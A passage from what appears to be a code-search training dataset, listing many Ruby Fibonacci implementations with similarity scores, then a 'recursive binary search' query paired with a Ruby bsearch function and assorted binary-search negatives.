"def fibonacci_number(n)\n #define nth Fibonacci term\n fibonacci_lst=[0,1] #F1=1,F2=1\n for i in 2..n\n fibonacci_lst[i]=fibonacci_lst[i-1]+fibonacci_lst[i-2]\n end\n return fibonacci_lst[n]\nend",
"def find_fib_nth(n)\n if n == 0\n 1\n elsif n == 1\n 1\n else\n return (find_fib_nth(n - 2) + find_fib_nth(n - 1))\n end\nend",
"def nthFibonacci (n)\n \n if n == 0\n return 0\n end\n\n i = 0\n\n sequence = Array.new\n\n sequence.push(i)\n\n i += 1\n\n sequence.push(i)\n\n while i < n do\n sequence[i+1] = (sequence[-1]) + (sequence[-2])\n\n i += 1\n end\n\n sequence[-1]\nend",
"def fibonacci(n)\n fibb = []\n fibb[0], fibb[1], fibb[2] = 0, 1, 1\n (3).upto(n) do |i|\n fibb[i] = fibb[i - 2] + fibb[i - 1]\n end\n fibb[n]\n end",
"def nth_fibonacci(n) \n if n == 1\n return 0\n elsif n == 2\n return 1\n end\n return nth_fibonacci(n-1) + nth_fibonacci(n-2)\nend",
"def nth_fibonacci(n)\n return 0 if n == 1\n sequence = [1]\n (n - 2).times do\n current_number, last_number = sequence.last(2)\n sequence << current_number + (last_number || 0)\n end\n\n sequence.last\nend",
"def fib_number(n)\n fib_array = (1..n).collect { |num| nth_fibonacci num }\n fib_array.join().to_i\nend",
"def fibo_finder(n)\n fib_array = [0, 1]\n (2..n).each do |i|\n fib_array << fib_array[i-1] + fib_array[i-2]\n end\n fib_array[n]\nend",
"def fibo_nth(n)\n a, b = 1, 0 # note the order!\n n.times do\n a, b = b, a+b\n end\n b\nend",
"def fibs (n) #Non-recursive\n\n\t# n = number of Fibonacci sequence members.\n\t# 0, 1, 1, 2, 3, 5, 8, 13, ..\t\n\tfib_seq = []\n\t(0..n).each do |i|\n\t\tif i == 0\n\t\t\tfib_seq << 0\n\t\telsif i == 1\n\t\t\tfib_seq << 1\n\t\telse\n\t\t\tfib_seq << fib_seq[i-2] + fib_seq[i-1]\n\t\tend\n\tend\n\tfib_seq\nend",
"def get_nth_fib(n)\n if n == 0 || n == 1\n return 0\n elsif n == 2\n return 1\n else\n return get_nth_fib(n-1) + get_nth_fib(n-2)\n end\n\nend",
"def nthFibonacci (n)\r\n # Your code here\r\n f = [0, 1, 1, 2, 3, 5, 8]\r\n if n < 7\r\n return f[n]\r\n end\r\n\r\n t = 6\r\n fn = 8\r\n\r\n while t < n\r\n fn = (fn * PHI).round(0)\r\n t += 1\r\n end\r\n\r\n return fn\r\nend",
"def fibo_finder(n)\n\tfib = [0,1]\n\t(n+1).times do |i| \t\n \t\tfib << fib[i-1] + fib[i-2] unless i == 0 || i == 1 \t\n\tend\n\tfib[n]\nend",
"def fibonacci(n)\n if n == nil || n < 0\n raise ArgumentError\n elsif n == 0\n return 0\n elsif n == 1\n return 1\n end\n\n first = 0\n second = 1\n\n index = 1\n while index < n\n holder = first + second\n first = second\n second = holder\n index += 1\n end\n return holder\nend",
"def get_nth_fib(n)\n if n == 2\n return 1\n elsif n == 1\n return 0\n else\n return get_nth_fib(n - 1) + get_nth_fib(n - 2)\n end\nend",
"def fib (n)\n # return appropriate starter values if n is 0 or 1\n if n == 0 \n return 0\n elsif n == 1\n return 1\n end\n # set up initial constants\n prevNum = 0\n currNum = 1\n # Loop through fibonacci numbers, starting at index 2.\n 2.upto(n) do\n nextNum = prevNum + currNum\n prevNum = currNum\n currNum = nextNum\n end\n return currNum\nend",
"def fib_iterative(n)\n\tnum = 0\n\tnext_num = 1\n\tpositions = 1..n\n\tpositions.each do |position|\n\t\tnum = next_num\n\t\tnext_num = next_num + num\n\tend\n\tretun num\nend",
"def fibo_n n\n\treturn n if (0..1).include? n\n\tfibo_n(n-2) + fibo_n(n-1)\nend",
"def fibonacci(n)\n raise ArgumentError, \"Not an integer larger than 0\" if !n || n < 0\n\n fib_array = [0, 1]\n i = 0\n\n if n == 0\n return 0\n elsif n == 1\n return 1\n else\n until i == (n - 1)\n fib_array << fib_array[i] + fib_array[i + 1]\n i += 1\n end\n end\n return fib_array[n]\nend",
"def fib(n)\n return fib_num[n] if fib_num[n]\n\n fib_num[n - 2] = fib(n - 2) unless fib_num[n - 2]\n fib_num[n - 1] = fib(n - 1) unless fib_num[n - 1]\n\n return (fib_num[n - 2] + fib_num[n - 1])\n end",
"def fibs(n)\n return n if n <= 1\n fibs(n - 1) + fibs(n - 2)\nend",
"def fibonacci(n)\n # raise NotImplementedError\n raise ArgumentError if n < 0 || n == nil #error if negative\n\n i = 0\n fib_array = [0, 1] #all fibonacci sequences begin with 0 and 1\n until fib_array.length == n+1 #until the correct index is reached\n fib_array.push fib_array[i] + fib_array[i+1]\n i += 1\n end\n return fib_array[n] #return number at requested index\nend",
"def fibonacci(n)\n raise ArgumentError, \"n must be an integer greater than 0\" unless n && n >= 0\n current = 0\n one_before = 0\n two_before = 0\n i = 0\n while i <= n\n if i == 1\n current = 1\n else\n two_before = one_before\n one_before = current\n current = one_before + two_before\n end\n i += 1\n end\n return current\nend",
"def nthFibonacci(n)\r\n fibonacci = []\r\n a = 0 \r\n b = 1\r\n\r\n while n >= fibonacci.length\r\n fibonacci.push(a)\r\n fibonacci.push(b)\r\n a = a + b\r\n b = a + b\r\n end\r\n return fibonacci[n]\r\nend",
"def nthFibonacci (n)\n # Your code here\n fArr = []\n a = 0\n b = 1\n if n == 0\n fArr << 0\n elsif n == 1\n fArr << 0\n elsif n > 1\n fArr << 0\n while fArr.size < n+1 do\n fArr << b\n a,b = b,a+b\n end\n end\n return fArr[n]\nend",
"def fib(n)\n # edge cases:\n if n < 0\n raise Exception, 'Index was negative. No such thing as a negative index in a series.'\n elsif n == 0 || n == 1\n return n\n end\n\n # we'll be building the fibonacci series from the bottom up\n # so we'll need to track the previous 2 numbers at each step\n prev_prev = 0\n prev = 1\n current = prev + prev_prev\n\n # since we already initialized up to the 2nd number in the series\n # we take n - 2 steps ahead to reach n (.times is exclusive)\n (n - 1).times do\n current = prev + prev_prev\n prev_prev = prev\n prev = current\n end\n\n current\nend",
"def fibonacci_given(nth)\n return 1 if nth <= 2\n fibonacci_given(nth - 1) + fibonacci_given(nth - 2)\nend",
"def nthFibonacci (n)\r\n num = n.to_i\r\n fibonacci_sequence = Array.new\r\n case num\r\n when 0 \r\n fibonacci_sequence << 0\r\n when 1\r\n fibonacci_sequence << [0,1]\r\n else\r\n fibonacci_sequence[0] = 0\r\n fibonacci_sequence[1] = 1\r\n i = 1\r\n while i < num\r\n i+= 1\r\n fibonacci_sequence[i] = fibonacci_sequence[i-1] + fibonacci_sequence[i-2] \r\n end\r\n end\r\n return fibonacci_sequence\r\nend",
"def fib(n)\n if n == 0 || n == 1\n return n\n else\n fib(n - 1) + fib(n - 2)\n end\n end",
"def fibs(n)\nend",
"def fib(n)\n a = 0\n b = 1\n\n while n > 0\n old_b = b\n b = a + b\n a = old_b\n n -= 1\n end\n\n b\n end",
"def fibonacci(n)\n if n == 0\n 0\n elsif n == 1\n 1\n else\n before_previous = 0\n previous = 1\n actual = nil\n (2..n).each do\n actual = previous + before_previous\n before_previous = previous\n previous = actual\n end\n actual\n end\nend",
"def fibonnaci(n)\n if n == 1 || n == 2\n 1\n else\n fibonnaci(n - 1) + fibonnaci(n - 2)\n end\nend",
"def fibonacci(n)\n\tif n == 0 || n == 1\n\t\treturn 1\n\telse\n\t\treturn fibonacci(n-1) + fibonacci(n-2)\n\tend\nend",
"def fib(n) \n if n == 0\n return 0\n else\n\tfib_0 = 0\n\tfib_1 = 1\n\t(1..(n-1)).each do \n\t\ttemp = fib_0\n\t\tfib_0 = fib_1\n\t\tfib_1 = temp + fib_1\n\t\t\n\tend\n\treturn fib_1\n end\nend",
"def fibo_finder(n)\n if n <= 1\n \tn\n else\n fibo_finder(n-1) + fibo_finder(n-2)\n end\nend",
"def nthFibonacci(n)\r\n if n == 1\r\n return 1\r\n\r\n elsif n == 2\r\n return 1\r\n\r\n else n > 2\r\n n = nthFibonacci(n-1) + nthFibonacci(n-2)\r\n end\r\nend",
"def fib(n)\n return 1 if n <= 2\n \n fib_index = 3\n a, b = 1, 1\n \n while fib_index <= n\n c = a + b\n a = b\n b = c\n fib_index += 1\n end\n \n c\nend",
"def bu_fibo(n)\n return 1 if n <= 1\n fib = Array.new\n fib[0] = 1\n fib[1] = 1\n for i in 2..n\n fib[i] = fib[i-1] + fib[i-2]\n end\n fib[n]\nend",
"def fibs(n)\r\n\r\n fibs = [0, 1]\r\n until n == fibs.length\r\n fibs << fibs[-1] + fibs[-2]\r\n end\r\n fibs\r\n\r\nend",
"def fibs(n)\r\n\r\n fibs = [0, 1]\r\n until n == fibs.length\r\n fibs << fibs[-1] + fibs[-2]\r\n end\r\n fibs\r\n\r\nend",
"def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n\n return fib(n-1) + fib(n-2)\nend",
"def fib_i(n)\n\tif n == 0\n\t\treturn 0\n\telsif n ==1\n\t\treturn 1\n\tend\n\tone = 0\n\ttwo = 1\n\tsum = 0\n\tfor i in 2..n\n\t\tsum = one + two\n\t\tone = two\n\t\ttwo = sum\n\tend\n\tsum\nend",
"def fibo(n)\n a, b, c = 0, 0, 0\n for i in 1..n\n c, b = b, a\n a = i== 1 ? 1 : b + c\n end\n return a\nend",
"def fib(n)\n if n == 0 || n == 1\n return n\n end\n\n number1 = 0\n number2 = 1\n number3 = 0\n\n (2..n).each do |index|\n number3 = number1 + number2\n number1 = number2\n number2 = number3\n end\n\n return number3\nend",
"def fib(n)\n\n fib_array = []\n first = 0\n second = 1\n\n if n == 0\n fib_array << nil\n elsif n == 1\n fib_array << 0\n else\n fib_array << 0\n fib_array << 1\n if n >= 3\n (3..n).each do # Due to the zero index of\n # Ruby, we use 3 here to represent the\n # numbers after 0, 1, 1\n\n next_number = (first + second)\n first = second\n fib_array << second = next_number\n\n end\n end\n end\n return fib_array\n\nend",
"def gen_fibs3\n fibs = [0,1]\n n = 10\n a,b = 0,1\n (n-1).times do\n a,b = b,a+b\n fibs << b\n end\n fibs\nend",
"def fibonacci_iterative(n)\n return 0 if n == 0\n fib_sequence = [0,1]\n index = 1\n until n == index\n fib_sequence << fib_sequence[index] + fib_sequence[index-1]\n index += 1\n end\n fib_sequence.last\nend",
"def fibonacci_last(n)\n return 1 if n <= 2\n n1, n2 = [1, 1]\n 3.upto(n) { n1, n2 = [n2, n1 + n2] }\n n2.to_s.chars[-1].to_i\nend",
"def fibs(n)\n fib_array = [0, 1]\n\n (2..n).each do |i|\n fib_array << fib_array[i - 1] + fib_array[i - 2]\n end\n fib_array[0..n]\nend",
"def fibonacci(n)\n\treturn 0 if n == 0\n\treturn 1 if n == 1\n\tfibonacci(n-1) + fibonacci(n-2)\nend",
"def iter_fib(n)\n return n if n == 0 || n == 1\n\n two_before = 0\n one_before = 1\n\n for i in 2..n\n current = two_before + one_before\n two_before = one_before\n one_before = current\n end\n one_before\nend",
"def iterative_fib_sequence(n)\n\tfib = [0]\n\tn.times do\n\t\tif fib.length > 2\n\t\t\tfib << fib[-1] + fib[-2]\n\t\telse\n\t\t\tfib << 1\n\t\tend\n\tend\n\tfib\nend",
"def fib1(n)\n fibs = [0, 1]\n ( 0..(n-1) ).each { |idx|\n next if fibs[idx] < 1\n fibs << fibs[idx] + fibs[idx - 1]\n }\n fibs.last\nend",
"def fibonacci(nth)\n return 1 if nth <= 2\n fibonacci(nth - 1) + fibonacci(nth - 2)\nend",
"def fibonacci(nth)\n return 1 if nth <= 2\n fibonacci(nth - 1) + fibonacci(nth - 2)\nend",
"def fibonacci(nth)\n return 1 if nth <= 2\n fibonacci(nth - 1) + fibonacci(nth - 2)\nend",
"def fibonacci(nth)\n return 1 if nth <= 2\n fibonacci(nth - 1) + fibonacci(nth - 2)\nend",
"def fibonacci(nth)\n return 1 if nth <= 2\n\n fibonacci(nth - 1) + fibonacci(nth - 2)\nend",
"def fib(n)\n n.times.each_with_object([0,1]) { |_, results| results << results[-2] + results[-1] }\nend",
"def fib(n)\n\tfib_array = [0]\n\ta = 0\n\tb = 1\n\tif n >= 1\n\t\tfib_array << 1\n\tend \n\twhile fib_array.length < n\n\t\tif n > 1\n\t c = a + b \n\t\t fib_array << c \n\t\t a = b \n\t\t b = c \n\t\tend\n\tend \n\treturn fib_array \nend",
"def fibo(n)\n\n first = 0\n second = 1\n total = 0\n\n (1...n).each do\n total = first + second\n first = second\n second = total\n end\n return total\nend",
"def td_fibo(n)\n return 1 if n <= 1\n return td_fibo(n-1) + td_fibo(n-2)\nend",
"def fibonacci(n)\n if n.nil?\n raise ArgumentError.new(\"Invalid\")\n elsif n < 0\n raise ArgumentError.new(\"Invalid\")\n end\n\n return 0 if n == 0\n\n num_one = 0\n num_two = 1\n fib_n = 1\n\n count = n - 1\n\n count.times do\n fib_n = num_one + num_two\n num_one = num_two\n num_two = fib_n\n end\n\n return fib_n\nend",
"def fibs_sum(n)\n\nend",
"def fibs_sum(n)\n\nend",
"def fibs_sum(n)\n\nend",
"def fibs_sum(n)\n\nend",
"def fibs_sum(n)\n\nend",
"def fibonacci(n)\n return [0,1].take(n) if n <= 2\n fib_seq = fibonacci(n-1)\n last_ele = fib_seq[-1] + fib_seq[-2]\n fib_seq << last_ele\nend",
"def fibo_finder(n) \n if n == 0\n return 0\n elsif n ==1\n return 1\n else\n return (fibo_finder(n - 1) + fibo_finder(n - 2))\n end\nend",
"def nth_fibonacci(n)\n cache = {}\n\n search_fib = lambda do |index|\n return cache[index] if cache[index] != nil\n return index if index < 2\n\n result = search_fib.call(index - 1) + search_fib.call(index - 2)\n cache[index] = result\n return cache[index]\n end\n\n return search_fib.call(n)\nend",
"def cool_fib(number)\n (0..number).inject([1,0]) {|i_arr| [i_arr.last, i_arr.first + i_arr.last]}.first\nend",
"def nth_fib(x)\n arr = [0,1]\n count = 1\n while count < x\n next_val = arr[-1] + arr[-2]\n arr = [arr[-1], next_val]\n count += 1\n end\n puts next_val\n # puts \"The weird algorithm from Hackerank comes to: #{next_val % (10**8 + 7)}\"\n end",
"def fibs_rec n\n (n < 3) ? [1]*n : fibs_rec(n - 1) << fibs_rec(n - 1)[-1] + fibs_rec(n - 1)[-2]\nend",
"def fib(n)\n return n if n < 2\n f0, f1 = 0, 1\n (n-1).times { f0, f1 = f1, f0+f1 }\n f1\nend",
"def fib_basic(n)\n if (0..1).include? n\n return n\n else\n (fib_basic(n - 1) + fib_basic(n - 2))\n end\nend",
"def fibo(n)\n if n <= 2\n fibo_num = 1\n else\n fibo_num = fibo(n-1) + fibo(n-2)\n end\n fibo_num\nend",
"def fibonacci_iterative(n)\n arr = [1,1]\n return arr.take(n) if n <= 2\n (3..n).each do |el|\n arr << arr[-1] + arr[-2]\n end\n arr[-1]\nend",
"def fibonacci n\n first = 0\n second = 1\n n.times do\n third = first + second\n first = second\n second = third\n end\n first\nend",
"def fib(n)\n return n if n < 2\n arr = [0, 1]\n (n-1).times { arr << arr.last(2).inject(:+) }\n arr.last\nend",
"def fibs(n)\n\toutput = []\n\t(0..n).each do |num|\n\t\tif num < 2\n\t\t\toutput << num\n\t\telse\n\t\t\toutput << output[num - 2] + output[num - 1]\n\t\tend\n\tend\n\tprint output, \"\\n\\n\"\nend",
"def fibonacci_basic(n)\n arr = [1, 1]\n return 1 if n == 1\n until arr.size == n\n arr << arr[-1] + arr[-2]\n end\n arr.last\nend",
"def fib n\n if n == 0\n 0\n elsif n == 1\n 1\n else\n fib(n-2) + fib(n-1)\n end\nend",
"def iterative_fibbys(n)\n return [] if n == 0\n return [0] if n == 1\n\n fibs = [0, 1]\n while fibs.count < n\n fibs << fibs[-2] + fibs[-1]\n end\n fibs\nend",
"def fibonacciIterative(n)\n\ti = 1\n\tfib = 1\n\tprev_one = 1\n\tprev_two = 0\n\twhile i<n\n\t\tfib = prev_one + prev_two\n\t\tprev_two = prev_one\n\t\tprev_one = fib\n\t\ti+=1\n\tend\n\treturn fib\nend",
"def fib(n)\n if n == 1 || n == 2\n return 1\n end\n return fib(n-1) + fib(n-2)\nend",
"def fib(n)\n if n == 1 || n == 2\n return 1\n end\n return fib(n-1) + fib(n-2)\nend",
"def fibonacci(n)\n fibo_array = [0, 1]\n if n > 1\n (n-1).times do |i|\n fibo_array.push(fibo_array[i] + fibo_array[i + 1])\n end\n end\n fibo_array[n]\nend",
"def fib(nth)\n return 1 if nth == 1 || nth == 2\n fib(nth - 2) + fib(nth - 1)\nend",
"def fibs(n)\n result = []\n penultimate = 0\n last = 1\n ## skips iteration if n = 0\n 1.upto(n) do |num|\n if num == 1\n result << penultimate\n elsif num == 2\n result << last\n else\n next_num = penultimate + last\n penultimate = last\n last = next_num\n result << next_num\n end\n end\n return result\nend",
"def fibonacci(n)\n fibs = [1,1]\n return [1, 1].take(n) if n <= 2\n\n while fibs.length < n\n fibs << (fibs[-1] + fibs[-2])\n end\n fibs\nend",
"def fib2(n)\n a = 0\n b = 1\n\n while n > 1\n c = a + b\n a = b\n b = c\n n -= 1\n end\n\n return b\nend",
"def fib(n)\n if n == 0\n return 0\n elsif n == 1\n return 1\n end\n\n last = 1\n next_to_last = 0\n i = 2\n\n while i <=n\n cur_fib = last + next_to_last\n next_to_last = last\n last = cur_fib\n i +=1\n end\n return cur_fib\nend",
"def generate_fibonacci(n)\n fib_sequence = [0, 1]\n if n == 1 || n == 2\n fib_sequence = fib_sequence.take(n) # Returns first n elements from the array.\n elsif n < 1\n fib_sequence = []\n end\n\n index = 2\n while index < n\n fib_sequence.push(fib_sequence[index-1] + fib_sequence[index-2])\n index += 1\n end\n fib_sequence\nend",
"def fibo(n)\n if n==1 or n == 2 \n 1\n else\n return fibo(n-1) + fibo(n-2)\n end\nend"
] |
[
"0.87356544",
"0.8658518",
"0.84631395",
"0.84594154",
"0.8450539",
"0.8444242",
"0.8435001",
"0.8426963",
"0.8379996",
"0.83626705",
"0.836147",
"0.83586335",
"0.8357606",
"0.8354752",
"0.8321518",
"0.83181745",
"0.83109105",
"0.8309331",
"0.8303799",
"0.8295943",
"0.8295894",
"0.8294282",
"0.8269428",
"0.8264331",
"0.8248573",
"0.82473224",
"0.8240671",
"0.8238379",
"0.8223881",
"0.82182974",
"0.8217682",
"0.8212762",
"0.8209425",
"0.8190326",
"0.81828713",
"0.81496245",
"0.81447625",
"0.8142624",
"0.813917",
"0.81378275",
"0.81340116",
"0.81327456",
"0.8123217",
"0.81176865",
"0.81167144",
"0.81167144",
"0.8102127",
"0.8101857",
"0.81015176",
"0.809681",
"0.80948275",
"0.8094771",
"0.80921084",
"0.80783725",
"0.8075577",
"0.80690837",
"0.80673456",
"0.8061481",
"0.80610174",
"0.8061017",
"0.8061017",
"0.8061017",
"0.8061017",
"0.80602884",
"0.8060125",
"0.80584836",
"0.80513555",
"0.80490136",
"0.80489486",
"0.8046823",
"0.8046823",
"0.8046823",
"0.8046823",
"0.8046823",
"0.80463517",
"0.8045587",
"0.8039719",
"0.80370426",
"0.8036194",
"0.8035867",
"0.80340266",
"0.8031003",
"0.8030853",
"0.80222243",
"0.8021289",
"0.8018321",
"0.80182505",
"0.80148315",
"0.80131465",
"0.8009761",
"0.8006989",
"0.800668",
"0.800668",
"0.8005849",
"0.8005684",
"0.8003047",
"0.800211",
"0.7998857",
"0.7995357",
"0.7992998",
"0.79929775"
] |
0.0
|
-1
|
recursive binary search (boolean edition)
|
def bsearch(arr, item)
middle = arr.count / 2
return true if arr[middle] == item
return false if arr.count < 2
(item < arr[middle]) ? bsearch(arr[0...middle], item) : bsearch(arr[middle..-1], item)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def recursive_bin_search(d, arr, first = 0, last=arr.size-1)\n middle = (first + last) / 2\n case arr[middle] <=> d\n when 0 # arr[middle] == d\n return true\n when -1 # arr[middle] < d\n first = first + 1\n return recursive_binary_search(arr, target, first, last)\n when 1 # arr[middle] > d\n last = last - 1\n return recursive_binary_search(arr, target, first, last)\n end\n end",
"def search(a, x) # search for x in a[]\n puts \"Called search(#{a.inspect}, #{x})\"\n return false if a.length == 0\n\n mid = a.length / 2\n left, right = 0, -1\n if a[mid] == x\n true\n elsif a[mid] <= a[right] # sorted, between mid -> right\n if x > a[mid] && x <= a[right]\n search(a.right, x)\n else\n search(a.left, x)\n end\n else # resets after middle\n if x > a[mid] || x <= a[right]\n search(a.right, x)\n else\n search(a.left, x)\n end\n end\nend",
"def binary_search(arr, val, strategy='rec')\n if strategy != 'rec'\n search(arr, val)\n else\n rec_search(arr, val, 0, arr.size - 1)\n end\nend",
"def binary_search(ary, value); end",
"def binary_search(binaryMatrix,start,last,n,row)\n\tif start > last\n\t\treturn -1\n\tend\n\tmid = start + (last-start)/2\n\tif binaryMatrix.get(row,mid) == 1\n\t\tif binaryMatrix.get(row,mid-1) == 0 || mid == 0\n\t\t\treturn mid\n\t\telse\n\t\t\tbinary_search(binaryMatrix,start,mid-1,n,row)\n\t\tend\t\n\telsif binaryMatrix.get(row,mid) == 0\n\t\tbinary_search(binaryMatrix,mid+1,last,n,row)\n\tend\nend",
"def b_search(arr, target)\n return false if arr.empty?\n mid = arr / 2\n if arr[mid] == target\n true\n elsif arr[mid] < target\n b_search(arr[mid..-1], target)\n else\n b_search(arr[0...mid], target)\n end\nend",
"def binary_search_internal(value)\n return [false, 0] if @inner.size == 0\n left = 0\n right = @inner.size - 1\n return [false, 0] if value < @inner[left]\n return [false, right + 1] if value > @inner[right]\n while left <= right\n middle = (left + right) / 2\n if @inner[middle] == value\n return [true, middle]\n elsif value < @inner[middle]\n right = middle - 1\n else\n left = middle + 1\n end\n end\n return [false, left]\n end",
"def binary_search_recursive_destructive(array, target)\n\n low = 0\n high = array.length - 1\n mid = (low + high) / 2\n\n binding.pry\n\n return true if target == array[mid] # the target is found\n return false if array[mid] == nil # the target doesn't exist\n\n # reduce the search area && call recursively\n if target > array[mid]\n new_array = array[(mid + 1)..high]\n binary_search_recursive_destructive(new_array, target)\n elsif target < array[mid]\n new_array = array[low..(mid - 1)]\n binary_search_recursive_destructive(new_array, target)\n end\n\nend",
"def rec_bin_search(array, target)\n return nil if array.length == 0\n\n midpoint = array.length / 2\n\n return midpoint if array[midpoint] == target\n\n if target < array[midpoint]\n rec_bin_search(array.take(midpoint), target)\n else\n top = rec_bin_search(array.drop(midpoint + 1), target)\n top == nil ? nil : top + (midpoint + 1)\n end\nend",
"def search_bool(arr, target)\n return false if arr.empty?\n\n half = arr.length / 2\n return true if arr[half] == target\n\n if target < arr[half]\n search_bool(arr[0...half], target)\n else\n search_bool(arr[(half + 1)...arr.length], target)\n end\nend",
"def bin_search(d, arr)\n middle = arr.length / 2\n i = 0\n j = arr.length - 1\n \n while i < j\n if arr[middle] == d\n return true\n elsif arr[middle] < d\n i = middle + 1\n middle = i + j / 2\n else\n j = middle - 1\n middle = i + j / 2\n end\n end\n return false\nend",
"def binary_search(arr,tar)\n return nil if arr.length < 1\n mid_idx = arr.length / 2\n if arr[mid_idx] == tar\n return mid_idx\n elsif arr[mid_idx] > tar\n binary_search(arr[0...mid_idx],tar)\n elsif arr[mid_idx] < tar\n subanswer = binary_search(arr[mid_idx+1..-1],tar)\n subanswer.nil? ? nil : (mid_idx+1) + subanswer\n end\nend",
"def binary_search(arr, l, r, x)\n if r >= l\n mid = l + (r - l)\n\n # If the element is present\n # at the middle itself\n if arr[mid] == x\n return mid\n end\n\n # If element is smaller than\n # mid, then it can only be\n # present in left subarray\n\n if arr[mid] > x\n return binary_search(arr, l, mid - 1, x)\n\n # Else the element can only\n # be present in right subarray\n return binary_search(arr, mid + 1, r, x)\n end\n end\n # We reach here when element\n # is not present in array\n - 1\nend",
"def recursive_binary_search_two(arr, value)\n low, hi = get_limits(arr)\n return false if low >= hi\n\n mid = (low + hi) / 2\n if arr[mid] == value\n true\n elsif arr[mid] < value\n recursive_binary_search_two(arr[mid + 1..hi], value)\n else\n recursive_binary_search_two(arr[low..mid], value)\n end\nend",
"def binary_search(arr, target)\n mid = arr.length / 2\n left = arr.slice(0, mid)\n right = arr.slice(mid, arr.length)\n if arr.length < 2\n return arr.first == target\n elsif left.last >= target\n return binary_search(left, target)\n elsif right.last >= target\n return binary_search(right, target)\n else\n false\n end\nend",
"def bsearch(arr, target)\r\n return false if arr.length == 0\r\n\r\n mid = arr.length/2\r\n\r\n return mid if arr[mid] == target\r\n if arr[mid] > target\r\n found = bsearch(arr[mid+1..-1], target)\r\n found + mid + 1 unless found == false\r\n else\r\n bsearch(arr[0...mid], target)\r\n end\r\n false\r\nend",
"def find_element(elem, elems)\n puts \"iterate #{elems}\"\n if (elems.size == 1)\n if elems[0] == elem\n return true\n else\n return false\n end\n end\n\n mid_point = elems.size/2\n puts \"mid point #{elems[mid_point]}\"\n\n # right hand is sorted\n if elems[mid_point] < elems[mid_point+1] && elems[mid_point] < elem\n # perform binary search just on the right\n result = find_element(elem, elems[mid_point+1..elems.size-1])\n elsif elems[mid_point] > elems[mid_point-1] && elems[mid_point] > elem\n # perform binary search just on the left\n result = find_element(elem, elems[0..mid_point])\n else\n # we cannot tell so perform on both\n puts \"perform on both\"\n result = find_element(elem, elems[elems.size/2+1..elems.size-1])\n unless result\n result = find_element(elem, elems[0..elems.size/2])\n end\n end\n\n # normal binary search on sorted\n # if elems[mid_point] > elem\n # result = find_element(elem, elems[0..elems.size/2-1])\n # else\n # result = find_element(elem, elems[elems.size/2..elems.size-1])\n # end\n puts \"\"\n\n result\nend",
"def binarySearch(arr, l, r, x)\n if r >= l\n mid = l + (r - l) / 2\n # // If the element is present at the middle itself\n return mid if (arr[mid] == x)\n # // If element is smaller than mid, then it can only be present in left subarray\n # // Else the element can only be present in right subarray\n (arr[mid] > x) ? binarySearch(arr, l, mid - 1, x) : binarySearch(arr, mid + 1, r, x)\n end\n # // We reach here when element is not present in array\n -1\nend",
"def binary_search(a, key)\n return binary_search_rec(a, key, 0, a.length - 1)\nend",
"def bin_search(x, a, b)\r\n mid = (a + b) / 2\r\n sq = mid ** 2\r\n \r\n if a == b || sq == x\r\n mid\r\n elsif sq > x\r\n bin_search(x, a, mid - 1)\r\n else\r\n (mid + 1) ** 2 > x ? mid : bin_search(x, mid + 1, b)\r\n end\r\nend",
"def binary_search_rec(a, key, low, high)\n# At every step, consider the array between low and high indices\n# When low is greater than high, the key doesn’t exist and -1 is returned.\n if low > high\n return -1\n end\n\n\n# Calculate the mid index.\n mid = low + ((high - low) / 2)\n\n# If the element at the mid index is the key, return mid.\n if a[mid] == key\n return mid\n\n# If the element at mid is greater than the key, then change the index high to mid - 1.\n# The index at low remains the same.\n elsif key < a[mid]\n return binary_search_rec(a, key, low, mid - 1)\n else\n# If the element at mid is less than the key, then change low to mid + 1. The index at high remains the same.\n return binary_search_rec(a, key, mid + 1, high)\n end\nend",
"def binary_search(opts={})\n # I have a lot of stuff to do for scouts\n # but instead i'm doing this\n # hizzah!\n count = 0\n \n until opts[:find].empty?\n new_search = []\n count += 1\n \n zipped = opts[:find].zip opts[:repo].between(opts[:find])\n zipped.each do |(n, list)|\n list << n[1]\n p = n[0]\n f = 1 # ??? why are these vars so NAMELESS\n \n list.each do |item|\n UI::debug \"narrowing #{f}:#{list.size} #{short item}\"\n \n if opts[:node_map].include? item\n if f <= 2\n opts[:on_find].call(p, item)\n else\n UI::debug \"narrowed branch search to #{short p}:#{short item}\"\n new_search << [p, item]\n end\n break\n end\n \n p, f = item, f*2\n end\n end\n \n opts[:find] = new_search\n end\n \n [opts[:find], count]\n end",
"def biSearch_recur(array,low,high,k)\n if high < low\n return \"not found\"\n end\n \n mid = low + (high - low) / 2\n\n if array[mid] == k\n return mid\n elsif array[mid] > k \n return biSearch(array,low,mid-1,k)\n else\n return biSearch(array,mid+1,high,k) \n end\nend",
"def binary_search(binary, size, search_key, low, middle, high)\n while (low <= high)\n middle=(low+high)/2;\n print_row(binary, size, low, middle, high);\n if (search_key == binary[middle])\n return middle;\n elsif (search_key <= binary[middle])\n high=middle-1\n else \n low=middle+1\n end\n end\nend",
"def bin_search_array(num, array)\n return \"not found!\" if array.nil? || array.empty?\n mid = (array.length / 2).ceil\n puts mid\n if array[mid] == num\n puts \"found!\"\n return mid\n elsif array[mid] > num\n puts \"searching left in #{array[0..mid]}\"\n bin_search_array(num, array[0..mid])\n else\n puts \"searching right in #{array[mid...array.length]}\"\n bin_search_array(num, array[mid...array.length])\n end\nend",
"def binary_search(array, target) \n return nil if array.length == 0\n mid = array.length / 2\n return mid if array[mid] == target\n left = array[0...mid]\n right = array[mid + 1..-1]\n if array[mid] > target #[]\n binary_search(left, target)\n else\n result = binary_search(right, target)\n return result.nil? ? nil : result + mid + 1\n end\n \nend",
"def binary_search(array, value)\n return nil if array.length == 1 && array[0] != value\n midpoint = array.length/2\n return midpoint if array[midpoint] == value\n if array[midpoint] < value\n midpoint + binary_search(array[midpoint..array.length], value) if binary_search(array[midpoint..array.length], value)\n else\n binary_search(array[0...midpoint], value)\n end\nend",
"def bsearch(arr, target)\n if arr.length == 1 \n if arr[0] == target\n return 0\n else\n return nil\n end\n end\n arr.sort!\n middle = arr.length / 2\n left = arr[0...middle]\n right = arr[middle + 1..-1]\n if arr[middle] == target\n return middle\n elsif arr[middle] < target\n if bsearch(right, target).nil?\n return nil\n # else\n return left.length + 1 + bsearch(right, target)\n end\n else \n bsearch(left, target)\n end\nend",
"def binary_search(length, prime)\r\n\r\nend",
"def binary_search(arr, target)\n binary_search_helper(arr, target, 0, arr.length - 1)\nend",
